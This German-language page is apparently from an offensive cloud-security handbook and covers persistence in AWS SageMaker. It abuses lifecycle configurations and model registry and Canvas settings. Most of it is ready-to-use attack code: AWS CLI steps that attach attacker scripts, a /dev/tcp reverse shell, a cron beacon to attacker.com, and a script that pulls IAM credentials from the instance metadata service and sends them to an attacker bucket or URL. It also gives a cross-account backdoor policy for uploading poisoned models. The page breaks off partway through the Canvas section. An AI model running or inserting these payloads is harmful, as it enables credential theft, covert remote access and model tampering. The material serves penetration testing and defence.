AWS - SageMaker Persistence

Reading time: 7 minutes

Überblick über Persistence Techniques

Dieser Abschnitt beschreibt Methoden, um Persistence in SageMaker zu erreichen, indem Lifecycle Configurations (LCCs) missbraucht werden, einschließlich reverse shells, cron jobs, credential theft via IMDS und SSH backdoors. Diese Skripte laufen mit der Instanz‑IAM role und können Neustarts überdauern. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten auf der AWS control plane kann trotzdem erfolgreich sein, wenn die Umgebung im 'VPC-only' mode ist.

Erforderliche Berechtigungen

• Notebook Instances:

sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance

• Studio Applications:

sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Lifecycle-Konfiguration für Notebook Instances setzen

Beispiel-AWS-CLI-Befehle:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Lifecycle-Konfiguration in SageMaker Studio festlegen

Lifecycle-Konfigurationen können auf verschiedenen Ebenen und an unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.

Studio-Domain-Ebene (alle Benutzer)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space-Ebene (Einzel- oder gemeinsame Spaces)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Arten von Studio-Anwendungs-Lebenszyklus-Konfigurationen

Lebenszyklus-Konfigurationen können gezielt auf verschiedene SageMaker Studio Anwendungstypen angewendet werden:

• JupyterServer: Führt Skripte beim Start des Jupyter-Servers aus, ideal für Persistenzmechanismen wie reverse shells und cron jobs.
• KernelGateway: Wird beim Start der KernelGateway-App ausgeführt, nützlich für die Erstkonfiguration oder dauerhaften Zugriff.
• CodeEditor: Gilt für den Code Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Sitzungen zur Codebearbeitung ausgeführt werden.

Beispielbefehl für jeden Typ:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Code-Editor

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Critical Info:

• Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen innerhalb des Geltungsbereichs.
• Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), typischerweise eher auf Space- als auf Domain-Ebene durchführbar.
• Netzwerkbasierte Kontrollen (z. B. striktes egress filtering) können erfolgreiche reverse shells oder data exfiltration verhindern.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) führen beim Start von notebook instances benutzerdefinierte Skripte aus. Ein Angreifer mit entsprechenden Berechtigungen kann eine persistente reverse shell etablieren.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistenz durch Lifecycle Configuration

Ein Angreifer kann cron jobs durch LCC scripts injizieren und so die periodische Ausführung bösartiger Skripte oder Befehle sicherstellen, wodurch eine unauffällige Persistenz erreicht wird.

Payload-Beispiel:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM credentials abzurufen und diese an einen vom Angreifer kontrollierten Ort zu exfiltrate.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistenz über ressourcenbasierte Model Registry-Richtlinie (PutModelPackageGroupPolicy)

Missbrauche die ressourcenbasierte Richtlinie auf einer SageMaker Model Package Group, um einem externen Principal Cross-Account-Rechte zu gewähren (z. B. CreateModelPackage/Describe/List). Damit wird eine dauerhafte Hintertür geschaffen, die es ermöglicht, vergiftete Modellversionen hochzuladen oder Modell-Metadaten/Artefakte zu lesen, selbst wenn der IAM-Benutzer/die IAM-Rolle des Angreifers im Opferkonto entfernt wird.

Erforderliche Berechtigungen

• sagemaker:CreateModelPackageGroup
• sagemaker:PutModelPackageGroupPolicy
• sagemaker:GetModelPackageGroupPolicy

Schritte (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Hinweise

• Für eine echte cross-account backdoor beschränke Resource auf die spezifische group ARN und verwende die AWS-Konto-ID des attacker im Principal.
• Für End-to-End cross-account Deployment oder artifact reads stimme S3/ECR/KMS-Berechtigungen mit dem attacker account ab.

Auswirkungen

• Persistente cross-account Kontrolle einer Model Registry-Gruppe: attacker kann bösartige model versions veröffentlichen oder model metadata auflisten/lesen, selbst nachdem ihre IAM-Entitäten im victim account entfernt wurden.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Missbrauche SageMaker Canvas Benutzereinstellungen, um Model Registry-Schreibvorgänge stillschweigend auf ein attacker-kontrolliertes Konto umzuleiten, indem du ModelRegisterSettings aktivierst und CrossAccountModelRegisterRoleArn auf eine attacker role in einem anderen Konto setzt.

Erforderliche Berechtigungen

• sagemaker:UpdateUserProfile auf dem Ziel-UserProfile
• Optional: sagemaker:CreateUserProfile in einer Domain, die du kontrollierst